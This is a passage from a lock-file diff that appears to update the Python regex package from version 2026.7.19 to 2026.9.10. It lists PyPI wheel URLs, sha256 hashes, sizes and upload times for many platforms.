800658, upload-time = "2026-07-19T00:19:31.392Z" }, - { url = "https://files.pythonhosted.org/packages/a8/24/c14f31c135e1ba55fa4f9a58ca98d0842512bf6188230763c31c8f449e3b/regex-2026.7.19-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:1d58561843f0ff7dc78b4c28b5e2dc388f3eff94ebc8a232a3adba961fc00009", size = 865073, upload-time = "2026-07-19T00:19:33.485Z" }, - { url = "https://files.pythonhosted.org/packages/14/85/181a12211f22469f24d2de1ebddfe397d2396e2c29013b9a58134a91069a/regex-2026.7.19-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:61bb1bd45520aacd56dd80943bd34991fb5350afdd1f36f2282230fd5154a218", size = 773684, upload-time = "2026-07-19T00:19:35.599Z" }, - { url = "https://files.pythonhosted.org/packages/23/58/bd1a0c1a62251366f8d21f41b1ea3c76994962071b8b6ea42f72d505c0f0/regex-2026.7.19-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:cd3584591ea4429026cdb931b054342c2bcf189b44ff367f8d5c15bc092a2966", size = 857769, upload-time = "2026-07-19T00:19:37.738Z" }, - { url = "https://files.pythonhosted.org/packages/e4/4f/f7e2dad6756b2fe1fe75dd90a628c3b45f249d39f948dd90cd2476325417/regex-2026.7.19-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5cc26a66e212fa5d6c6170c3a40d99d888db3020c6fdab1523250d4341382e44", size = 804546, upload-time = "2026-07-19T00:19:40.229Z" }, - { url = "https://files.pythonhosted.org/packages/2b/d7/01d31d5bdb09bc026fab77f59a371fdf8f9b292e4810546c56182ca70498/regex-2026.7.19-cp314-cp314t-win32.whl", hash = "sha256:2c4e61e2e1be56f63ec3cc618aa9e0de81ef6f43d177205451840022e24f5b78", size = 274526, upload-time = "2026-07-19T00:19:42.398Z" }, - { url = "https://files.pythonhosted.org/packages/52/0e/cea4ce73bc0a8247a0748228ae6669984c7e1f8134b6fa66e59c0572e0ea/regex-2026.7.19-cp314-cp314t-win_amd64.whl", hash = "sha256:c639ea314df70a7b2811e8020448c75af8c9445f5a60f8a4ced81c306a9380c2", size = 283763, upload-time = "2026-07-19T00:19:44.644Z" }, - { url = "https://files.pythonhosted.org/packages/6f/b6/26e41975febae63b7a6e3e02f32cff6cff2e4f10d19c929082f56aebf7c6/regex-2026.7.19-cp314-cp314t-win_arm64.whl", hash = "sha256:9a15e785f244f3e07847b984ce8773fc3da10a9f3c131cc49a4c5b4d672b4547", size = 283451, upload-time = "2026-07-19T00:19:46.639Z" }, +version = "2026.9.10" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b9/5c/f403115361de25809e8f785686ec7096e30fef73be9ae35aa51da4e80abb/regex-2026.9.10.tar.gz", hash = "sha256:1e321e2c84f0e52c457f5ea5944f796d6e8e09cb99738ea98dcc1bfe402a128d", size = 417072, upload-time = "2026-09-09T21:00:21.521Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/67/29/b4160140513c37ea8e7d87c467b5b7e658f53ca4cdcfe394b82ec768d0b4/regex-2026.9.10-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:7dcad477c49c4c626a6c4fcd71b39a971aa217060cc40a6569fd24edcc0fa509", size = 493887, upload-time = "2026-09-09T20:56:21.178Z" }, + { url = "https://files.pythonhosted.org/packages/01/f9/6008e74d6076a980a48cb3eeaf80c1324db73f2eed89a8023e91669dad84/regex-2026.9.10-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d414c411c06fe0009eac33488fb1591c66b5c2673e342e452e7bb2fe63da8194", size = 295102, upload-time = "2026-09-09T20:56:22.687Z" }, + { url = "https://files.pythonhosted.org/packages/7e/cd/2f540fc813d1f71f18e1cc6861483133a0e6afb349a4e770fbdce4811d8d/regex-2026.9.10-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f2f43bf4e47ff7ce9e585558706d698c6204d0f80bf2207766382ed817c8e9f4", size = 290660, upload-time = "2026-09-09T20:56:23.835Z" }, + { url = "https://files.pythonhosted.org/packages/03/5f/9c990517587418d82406203d4608e17e02167c73fb36ef9a7a9d7ae64802/regex-2026.9.10-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:24d12a625a37c89c2b09303402a06942f55f071b95a7916a49c17034c3d47cd5", size = 787864, upload-time = "2026-09-09T20:56:24.979Z" }, + { url = "https://files.pythonhosted.org/packages/6e/1f/bcc010de82e20c1822d22ae94d97faafd46ce8405599f3636622a9a7bd04/regex-2026.9.10-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ef4ce69ff97fbb44b46751cfea5e859ad0b66d1a50abf34954f0645f51e81671", size = 860487, upload-time = "2026-09-09T20:56:26.363Z" }, + { url = "https://files.pythonhosted.org/packages/58/3e/6e75baf9c78d90bf44187f5ce4ee5de51fde206e6981490a0a4418cde296/regex-2026.9.10-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:044bd4639b6bb409ec9e5d8b7accd57e02b4c4a4e2eafde916f8ae8006b3e40b", size = 905374, upload-time = "2026-09-09T20:56:27.741Z" }, + { url = "https://files.pythonhosted.org/packages/49/b2/be9fafe5e05888296fdd35d82ba9cbb67b0d352e9911fad3c458beb3a34a/regex-2026.9.10-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c3d95d7d9538b5b726dd6fcd7b6117a71e6565202f6d64f5845fb4d8f203f533", size = 796252, upload-time = "2026-09-09T20:56:29.074Z" }, + { url = "https://files.pythonhosted.org/packages/f4/ac/4df639a88ce4fcdb0aedaba7818718254b888e4b60c7df640d5fc82232cb/regex-2026.9.10-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:faa911fbbcf8ac90bda0e0657d60768e3390954ef0588211d63a22add1cb1cd1", size = 790214, upload-time = "2026-09-09T20:56:30.586Z" }, + { url = "https://files.pythonhosted.org/packages/6b/2f/2bb3fef68f7ba134d45a2aa3c713078109ebca71ec5dbb84a42d7284abec/regex-2026.9.10-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ecb2e7acb18f8cc4a67f0ad986c0af291ea4dd385d0614ba9bc09d7f8bbb478c", size = 773413, upload-time = "2026-09-09T20:56:32.223Z" }, + { url = "https://files.pythonhosted.org/packages/7d/57/43737678e306ad6430732828ecf0632c72676eab783cc98c4da373e7ee96/regex-2026.9.10-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:4971776b4f2bd7fd9a83eceb2cb2592cbe2924f639fe8045e6a9de5ba4bfcf25", size = 778331, upload-time = "2026-09-09T20:56:33.51Z" }, + { url = "https://files.pythonhosted.org/packages/b1/19/61f4158219d60ec727500f08f6f0aa86a036bb5c3ba0632204f35eeb92e8/regex-2026.9.10-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:f8bdec659a8fa7af51a32b224b3b7c02bc415d54ffd35187b1d224176b17d607", size = 853498, upload-time = "2026-09-09T20:56:34.931Z" }, + { url = "https://files.pythonhosted.org/packages/6f/85/7c783b98eb777cd17e2566ea6343a350f6a7c13f41f43282c20348ed9303/regex-2026.9.10-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:3540734dbe241ebb3b87d5713781f6749a3e4d45480f506aa5fb5cbb0c37d249", size = 762708, upload-time = "2026-09-09T20:56:36.248Z" }, + { url = "https://files.pythonhosted.org/packages/dd/cd/a56fb347afd102dca21fc3ee9163ccf379678154ec2d0e3f139fb26e5eb9/regex-2026.9.10-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:87f5f75c109f08f5c602d68e1af54cead8165189c727b6ac946b30b9833a3ba4", size = 842488, upload-time = "2026-09-09T20:56:37.538Z" }, + { url = "https://files.pythonhosted.org/packages/59/54/5d38dc952ec93cd19943d31647806c7fbf380c74f36b747874b26a3070fe/regex-2026.9.10-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:88b02aa8d0ec9b6189fe933d425775882271c23700ac11fd26d1779b0f56fde3", size = 783557, upload-time = "2026-09-09T20:56:39.649Z" }, + { url = "https://files.pythonhosted.org/packages/63/81/c4c880460f22160046e9d4794d947935da8337d579e08c3492344be32d1d/regex-2026.9.10-cp310-cp310-win32.whl", hash = "sha256:13c52fc377792675f604a207a2ae5958c080f6854f7698d40d9ff034d95b1e76", size = 266938, upload-time = "2026-09-09T20:56:41.352Z" }, + { url = "https://files.pythonhosted.org/packages/f4/0a/5061dde95447f00acdeeb39780b32def0ce380c3e725aeee1f5b37b788bb/regex-2026.9.10-cp310-cp310-win_amd64.whl", hash = "sha256:e6b99181d184d0f5c7b36b8d12b94d1e9499cce6246594331f9edc5d2ea9fceb", size = 278251, upload-time = "2026-09-09T20:56:42.54Z" }, + { url = "https://files.pythonhosted.org/packages/c1/c8/b3f8dab9592d1089fb2cec58f5c1120ce1c5c74b2d12d50119e404187ee8/regex-2026.9.10-cp310-cp310-win_arm64.whl", hash = "sha256:abbfc1c33bf8efddcc43844aba61e036d74a918680dc3ce8ce2538b004eda0f9", size = 277308, upload-time = "2026-09-09T20:56:44.141Z" }, + { url = "https://files.pythonhosted.org/packages/65/82/36fdcd669c7c47e11bea67e3495011ec365be0942aae3ba74f82f92ed6a2/regex-2026.9.10-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:debc629e98b95abaea1cf3057ca296151f348c697c9b8a59d18013adb302c0dd", size = 493891, upload-time = "2026-09-09T20:56:45.767Z" }, + { url = "https://files.pythonhosted.org/packages/c8/57/bb6a8273bcb53077a1855fea0ff416fe4d4bcb1d9f350a9fe3b909853983/regex-2026.9.10-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9d772586951d7d6a5d162d48f414065e483b1c81ab38fd8ed97c78b05883421a", size = 295107, upload-time = "2026-09-09T20:56:47.359Z" }, + { url = "https://files.pythonhosted.org/packages/38/71/9d96d04c36556f057398a08dfc21aecc5409b5fef83fd7653a310227df7e/regex-2026.9.10-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b43456de605c8ee77eb75f07bc1ee44ba27f9cee22207deb77d495e954b7d953", size = 290649, upload-time = "2026-09-09T20:56:48.731Z" }, + { url = "https://files.pythonhosted.org/packages/af/cb/4dd3b7190b5a169c81a4d63b487d65e9fb23689b771f5aceb91d9e7f65bb/regex-2026.9.10-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1f0a8b4928823bc8b217a1ab7bf3d90598909dec9a70fbbfe9a52cc4eca55990", size = 796358, upload-time = "2026-09-09T20:56:50.021Z" }, + { url = "https://files.pythonhosted.org/packages/3e/bb/aceb2329a2d54a3bbd95e54f08689692414674c213e8fc958cf253206e5e/regex-2026.9.10-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b91c37551bf39d75116c02b146956f65b9aa0337a4a652f4ae186983789d4001", size = 866258, upload-time = "2026-09-09T20:56:51.363Z" }, + { url = "https://files.pythonhosted.org/packages/ba/fc/f8deac9c4c475b6bc35f25565a2253df4d27d49dcb6b189d9432ae69294e/regex-2026.9.10-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0b9ba3b2765cdfe18f0f561a69f78a69701f2896654a81c711108d35d14e5099", size = 912779, upload-time = "2026-09-09T20:56:52.811Z" }, + { url = "https://files.pythonhosted.org/packages/74/dc/2dd4d56932f55ea412c9808f27a8661f93568bfee596ed04bc57a74e591f/regex-2026.9.10-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0acee94b480dd853e39434aa9a575f95385b1b4b8fa3feae56db363ca5cad782", size = 802962, upload-time = "2026-09-09T20:56:54.241Z" }, + { url = "https://files.pythonhosted.org/packages/46/a8/43edbb94e6c9caffd08bffca5b5c486d18845569fcad3953565b85dd71f1/regex-2026.9.10-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a41693eb3fc4b92e6127d113813c6c395237f7edd3224abf67609af48c690d11", size = 777136, upload-time = "2026-09-09T20:56:55.749Z" }, + { url = "https://files.pythonhosted.org/packages/78/2a/6de302fe3dfa94b75a414bffe5180c146967f96fc52fd0b3527a05ad7c40/regex-2026.9.10-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6888065672b341e5246f391ec16dc258a29218ac784172fd67c30d941544755b", size = 786593, upload-time = "2026-09-09T20:56:57.211Z" }, + { url = "https://files.pythonhosted.org/packages/ce/22/66bad9464b4b9122180d2fec86209d7f1bcaf4388d34f644139799f94a20/regex-2026.9.10-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:8c07021a4faa3f092869adbd1f35cdc7a592276c807aeebc3ceb8ff1a638f0b4", size = 861247, upload-time = "2026-09-09T20:56:59.194Z" }, + { url = "https://files.pythonhosted.org/packages/3a/90/a862d6fd9ee3bc0c1f3a2fecffb325097608a4c9b57f0e35030f68c878f7/regex-2026.9.10-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:58c01f7b81079cf0817ba831ff4d9eff5d28be4a3ac76c353e6f09bd63f4c386", size = 767925, upload-time = "2026-09-09T20:57:01.031Z" }, + { url = "https://files.pythonhosted.org/packages/98/4a/aea909c0699aec3c5ee6eff93e4dabc0d310cfb0a5618094e1c5228b234d/regex-2026.9.10-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:f0e2e5d23448b660d60a6ed85c46cc03b4b48bd276b8f4041d4a5fe2a4a0626b", size = 850772, upload-time = "2026-09-09T20:57:02.774Z" }, + { url = "https://files.pythonhosted.org/packages/8a/a9/a55f1257d95871b0e042b42bf52f931b3a92b4d530def5201c5b9d597e20/regex-2026.9.10-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:94d096369b7cd96d15343fef5257fe39eff9d0e8758b92a0e15e358b92cdb2fc", size = 791475, upload-time = "2026-09-09T20:57:04.216Z" }, + { url = "https://files.pythonhosted.org/packages/60/96/04bb3dabe9ac7aa64ff758dc34ae0378d60f5279ccb66788e1f837a0cac0/regex-2026.9.10-cp311-cp311-win32.whl", hash = "sha256:7f8f10015866608fe4c043cec2e4fe4c39a94bb50e45091de4cdf4004b9ae4b0", size = 266937, upload-time = "2026-09-09T20:57:05.726Z" }, + { url = "https://files.pythonhosted.org/packages/0c/7f/2d39cd798871b683409cd14ab4458f60e53db86591028a8244c3155f2e92/regex-2026.9.10-cp311-cp311-win_amd64.whl", hash = "sha256:ce7c118cb102975f974585688357a717ffbf9dddd64ab0bb1bc93eb5b367cf95", size = 278263, upload-time = "2026-09-09T20:57:07.089Z" }, + { url = "https://files.pythonhosted.org/packages/13/5f/eb3a6fd0ef50719d105e77bcc8a94b5b6f4d2873819fcf481279c454ce73/regex-2026.9.10-cp311-cp311-win_arm64.whl", hash = "sha256:1e954e246466d5a1a78f563ce8364b5d7cb19e7adb0ccdec8f9c9610083187bc", size = 277305, upload-time = "2026-09-09T20:57:08.442Z" }, + { url = "https://files.pythonhosted.org/packages/32/c8/bfbe893e90ee0148bd2860dd086f09b5d2080ca2b125f740c2e118c16982/regex-2026.9.10-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:880ac684c27176464c00c3fdc456116364f5ebc70da07aad0c2d4a7ba45e98db", size = 496609, upload-time = "2026-09-09T20:57:09.987Z" }, + { url = "https://files.pythonhosted.org/packages/8c/ac/56d5ae6efb759255c3b3db650a4be25f96a844ea3613b91e1e189a3b7294/regex-2026.9.10-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:b9d36b03dc362aa40ffaaec9d9bd75e87763529563ec008c43b0e07782f5be7a", size = 297024, upload-time = "2026-09-09T20:57:11.35Z" }, + { url = "https://files.pythonhosted.org/packages/60/4b/0f2d5f6bbb791cc10f22f0ed16c487e630dde8fa8fa0bd92a2bfe21a4b20/regex-2026.9.10-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:866de9f98df0611d7b62b3a8729d3284a64c0cc6edd90bb95a533e443a4939cb", size = 291905, upload-time = "2026-09-09T20:57:13.127Z" }, + { url = "https://files.pythonhosted.org/packages/89/51/3fb5fe0d32f4cf0bc982286722c729a8d6f522d2fa2d5d14a702d9fc87f8/regex-2026.9.10-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4c66d54042a14a503907d81861b8a5235e6d1f03d4fbc1d8767f652eaf957ac1", size = 800055, upload-time = "2026-09-09T20:57:14.68Z" }, + { url = "https://files.pythonhosted.org/packages/89/46/ee507bd2f9d4420f26a594b35c551d7194b66f5d7897f63730fae6ec05c1/regex-2026.9.10-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:032da15431c890d376f53547f0a6219f4f4cd19f3e4f11bdc321453b5bd207e4", size = 871133, upload-time = "2026-09-09T20:57:16.674Z" }, + { url = "https://files.pythonhosted.org/packages/d1/75/cbaa90689684f91b1bc017e7f8c6d9425c6bd299108db02482dc51376d8a/regex-2026.9.10-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:23ac9a28180f274d7dd7651fa131ad5b02d343b75df4b040737f0356223895dd", size = 919627, upload-time = "2026-09-09T20:57:18.402Z" }, + { url = "https://files.pythonhosted.org/packages/cb/f5/dcdf5e0d898024005cfcce631e3e934d111dfbe177ca0b7f253ae8a735a2/regex-2026.9.10-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2e67f8843f0e4b931f1fa860bf3bbe4134b714c0155cc5c7c0d7ea450230aae0", size = 804587, upload-time = "2026-09-09T20:57:19.859Z" }, + { url = "https://files.pythonhosted.org/packages/73/70/eedfe81c29bae266a06ab4250978361a9bccd474704d88d4f4ef4506dff8/regex-2026.9.10-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bb7774924f8cd69f49cba0b3c2d679a6326f777e0e67d130ad5203e4df53f0d3", size = 777320, upload-time = "2026-09-09T20:57:21.62Z" }, + { url = "https://files.pythonhosted.org/packages/ca/e5/86b207077efbcd91305700488f170b7eb1e1c54721cea74175273aa3b9a4/regex-2026.9.10-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:0c32480f3371b75068decaf9e5da72c224e953830dd71e36e06cf80e30ea39d8", size = 790572, upload-time = "2026-09-09T20:57:23.048Z" }, + { url = "https://files.pythonhosted.org/packages/b2/92/f622c3b2323f4c035b98e80221740a442127ad7993135b814f52057430db/regex-2026.9.10-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:d2d377fd1cad611b806cdd732d86b65f536c768209890cb442556548daa65a23", size = 865485, upload-time = "2026-09-09T20:57:24.658Z" }, + { url = "https://files.pythonhosted.org/packages/4a/be/34bd621d3d6ac906ad67e57ed56c40cd45f7d51b9c0328335e97a7cb8ecb/regex-2026.9.10-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:c014641157e9049b0603b8daa5343bd408d9b757b709aaa0f373cd3fab2d7944", size = 767925, upload-time = "2026-09-09T20:57:26.268Z" }, + { url = "https://files.pythonhosted.org/packages/0d/28/ddbf7cba86f2adf5038c6c16aa829636ffc6e437f81bb0cbf302899cea5e/regex-2026.9.10-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:1562aabd9d4eb09bd88a62ad97ed06800094b529ac43419e43020b9cefec79b0", size = 858800, upload-time = "2026-09-09T20:57:27.901Z" }, + { url = "https://files.pythonhosted.org/packages/d0/f1/e8d7656ff3d3bd32e881d32f540b4981c79dee61908d6b790a45966e6895/regex-2026.9.10-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2479171edccced52ef02b899558f88ab2c235fe05b93180fdcae1670aacd89e1", size = 791648, upload-time = "2026-09-09T20:57:29.786Z" }, + { url = "https://files.pythonhosted.org/packages/fc/65/eac1a79115c8475d8ff539602eb54031564d719fdea5a599c4b0a1a26d1b/regex-2026.9.10-cp312-cp312-win32.whl", hash = "sha256:239620b0e0681669367c0e218c8eb2551d9f8fe3b9fccfc8d0003377804e8348", size = 267326, upload-time = "2026-09-09T20:57:31.782Z" }, + { url = "https://files.pythonhosted.org/packages/ad/d4/4dcd0a05d3e97ca829165df1c39717f899d1d484dac8a6032439f2cb8d6d/regex-2026.9.10-cp312-cp312-win_amd64.whl", hash = "sha256:4db7d00c4afbfbb55b8e17b1e371da11418ea9389b030acec63c1fa4c7ad4b86", size = 277933, upload-time = "2026-09-09T20:57:33.648Z" }, + { url = "https://files.pythonhosted.org/packages/55/f8/22617a80dee28f2451011eae36bc26b3d78c4994ba87b5281d60acf9b6c0/regex-2026.9.10-cp312-cp312-win_arm64.whl", hash = "sha256:c25a754bb81a2edcfc3b65eda50f017d736f818112ed43e8aafd595cb00678ae", size = 277447, upload-time = "2026-09-09T20:57:35.156Z" }, + { url = "https://files.pythonhosted.org/packages/20/90/d4452bf1ef7dbe406980e8b921a257024482203c1dafac535eae207611bc/regex-2026.9.10-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ef5a059ea1c6ee5d1c7e99a2484e628608d010921efe876c6f0e2029d2f35eca", size = 496408, upload-time = "2026-09-09T20:57:36.757Z" }, + { url = "https://files.pythonhosted.org/packages/6a/35/c763c6424a0f99d021d46dc1f9065147bb5a40c2b2cdf28d2ebdbcd96508/regex-2026.9.10-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:dce932f8e3ba936475ea3d0d8b59f7b050a9e206e994f53f8fd80299871e87da", size = 296931, upload-time = "2026-09-09T20:57:38.811Z" }, + { url = "https://files.pythonhosted.org/packages/fa/68/241f88458b17c46ed2f80147a60a03b2ada7fb815c23b6bc76c298abb0a5/regex-2026.9.10-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d8c668af8f7bdb1d18739c27d30cd9f4b371495a883f75a002fb7a39d740fecd", size = 291741, upload-time = "2026-09-09T20:57:40.482Z" }, + { url = "https://files.pythonhosted.org/packages/90/9e/974d6de404c63e2d09525f4ddb99874c7ab8e1f781ccbe0dd3e26fa6f6e5/regex-2026.9.10-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6aebdd9a946de328b3f6f61dbf48dd064a36eb6dddf96e34ae6651d37f6e9383", size = 800088, upload-time = "2026-09-09T20:57:42.098Z" }, + { url = "https://files.pythonhosted.org/packages/9e/fd/3875b73f9e7ba3321dcaa02c19f650c05c61345328acf84599ac6f45ceed/regex-2026.9.10-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f2374c27deb189b282ec7e16106752c22ad39b056bbd8018960b1e4cc95d67a1", size = 871212, upload-time = "2026-09-09T20:57:44.03Z" }, + { url = "https://files.pythonhosted.org/packages/c5/f5/2358e791c0e171194dd6a8b97b520579098a21397fb79dbe6b7edc9e3fa7/regex-2026.9.10-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:e0dc78251154b66dc60211563fc115345da332eaa881e4e2523fb1edae3772f4", size = 919752, upload-time = "2026-09-09T20:57:45.691Z" }, + { url = "https://files.pythonhosted.org/packages/20/3b/000c79c3f9c06b7542225a5d3a7f9a85405da7224b3b9af94a491d07abea/regex-2026.9.10-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bafa41b0dd63669e5c0f8adf3d24819efeb73c847f492eb011212eb352e69041", size = 804578, upload-time = "2026-09-09T20:57:47.548Z" }, + { url = "https://files.pythonhosted.org/packages/30/6d/195eedb1de87f26639191e7487e41eb81e2ce255bc7563a64f3f5a95eb08/regex-2026.9.10-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ebb2ba68e4641a994061f70bf44ed448fba0b9b1d18c94ffb9efc1cca805b39b", size = 777345, upload-time = "2026-09-09T20:57:49.63Z" }, + { url = "https://files.pythonhosted.org/packages/79/11/11fe2b313fcd92cb75c583648f2746031b9f4da9e9ed4241204a5e8b3721/regex-2026.9.10-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:048a89ee797db10160bd2bd519286577a6b43a100279bd4b7d8456a3d69c80a0", size = 790556, upload-time = "2026-09-09T20:57:51.27Z" }, + { url = "https://files.pythonhosted.org/packages/7a/c0/07ec9b4c43b0e16d62454971a5ab3886eccb0bfa161300a02d801ab28620/regex-2026.9.10-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:79e9432995e14c749d34209413de5e621ec8e67789bf4f46dbfabea9d06a2406", size = 865572, upload-time = "2026-09-09T20:57:53.163Z" }, + { url = "https://files.pythonhosted.org/packages/19/07/43bc9a9cf9fc8e37d2ba47980dfe4a6e151d2cf3ab969e0031e2a9b21484/regex-2026.9.10-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:5847e22bbf959764d776937d791d034cc2d19b787e361c88d97e859e8dc68502", size = 767971, upload-time = "2026-09-09T20:57:54.805Z" }, + { url = "https://files.pythonhosted.org/packages/9c/49/3b9286a3a94f3c89ed4ddbe74e72bdde21c1a5eadd520d5f4ed4a61936cb/regex-2026.9.10-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:c103b3b14e011774af4fb7e4617ad4d72b9171905cd3b231a70a4efd76e477d7", size = 858835, upload-time = "2026-09-09T20:57:56.627Z" }, + { url = "https://files.pythonhosted.org/packages/4a/9e/e5d27ce9fee8e3ef95f886c7b6ecec211efa4cfc18bd73bd5cf26cca4741/regex-2026.9.10-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6b34a778c695d24e77c140e3b4c95da69282e34f2f6b02b55656aa4a0379f643", size = 791793, upload-time = "2026-09-09T20:57:58.313Z" }, + { url = "https://files.pythonhosted.org/packages/63/03/c28a6bebedc3e2d86ee27ec2de16f7ec0419dcd10e771d43dcc9c58a2e99/regex-2026.9.10-cp313-cp313-win32.whl", hash = "sha256:7abb38b8c40f3a235235a44da452c64b7b5c1d650ec6351027db0e090804f2e5", size = 267298, upload-time = "2026-09-09T20:58:00.009Z" }, + { url = "https://files.pythonhosted.org/packages/cd/fd/5c85fa6cfb8e034080bda5a72fa0a4df2b7777a35eb7e73c2799c2adda7a/regex-2026.9.10-cp313-cp313-win_amd64.whl", hash = "sha256:20e8bfb07ad79a282f8b95b56fe67f9750b1b7f775724e4ba1f23cb296115ce4", size = 277894, upload-time = "2026-09-09T20:58:01.731Z" }, + { url = "https://files.pythonhosted.org/packages/c1/28/f5a25f6f65501675977fda35d9f61abb1468c4b87c0f73e536d8b21a60b8/regex-2026.9.10-cp313-cp313-win_arm64.whl", hash = "sha256:3bdeed3318a8eb2bbadc9c56347e0ff651639e934a47e168d05a3b12929fd0e7", size = 277436, upload-time = "2026-09-09T20:58:03.422Z" }, + { url = "https://files.pythonhosted.org/packages/5c/ed/98e9b07d8bb9c765d07774f0b2c19b301b96d51f44630fea48951051c94e/regex-2026.9.10-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:fd6bd89b9fc06018d35851cab0240adb7dd84d51941b19f6574ac90cd54e3ae5", size = 496662, upload-time = "2026-09-09T20:58:05.118Z" }, + { url = "https://files.pythonhosted.org/packages/ee/a8/9dfe9be48378b47c5a8f04b0f200ea225f9ee0f8e93f010433f661a37878/regex-2026.9.10-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:ef4c0a9dfdc90581b90b1b95a8c3d1557f8ff8f5a2a53536d26314de699d1468", size = 297115, upload-time = "2026-09-09T20:58:06.822Z" }, + { url = "https://files.pythonhosted.org/packages/2b/e4/5d1f005a3825ec49842ad349061c1c26e6d42f47ccf105e6e5aa6aeed392/regex-2026.9.10-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:14caa05ce39ec70437af5aac8814c50ee6628f4a90353871c059692f448a164f", size = 291896, upload-time = "2026-09-09T20:58:08.675Z" }, + { url = "https://files.pythonhosted.org/packages/be/15/44ce83fca50c6058f42b62fa8300a8030eea7e4e5a973a2dd33db0f557fb/regex-2026.9.10-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3264132d576847ab5f88bb83e7debe67854bf165b3ea613bd467312b6099536a", size = 800534, upload-time = "2026-09-09T20:58:10.339Z" }, + { url = "https://files.pythonhosted.org/packages/af/6e/a62e070a5a033643b287489576f02ae6a9c584c337d62349e340a2b4d001/regex-2026.9.10-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5cef9f3d14796500ea834c41dbe688f1f6b23c7024dc23e8a794d7ebaf5d71d0", size = 872038, upload-time = "2026-09-09T20:58:12.186Z" }, + { url = "https://files.pythonhosted.org/packages/f3/06/8b8e2483949b1329df10c5b615e85d332066deb426b11332b799629b9201/regex-2026.9.10-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d278ad30ec83b6b9202685b0f80b741a51ea3ca7f0595ebda96e7628b6398876", size = 918927, upload-time = "2026-09-09T20:58:13.903Z" }, + { url = 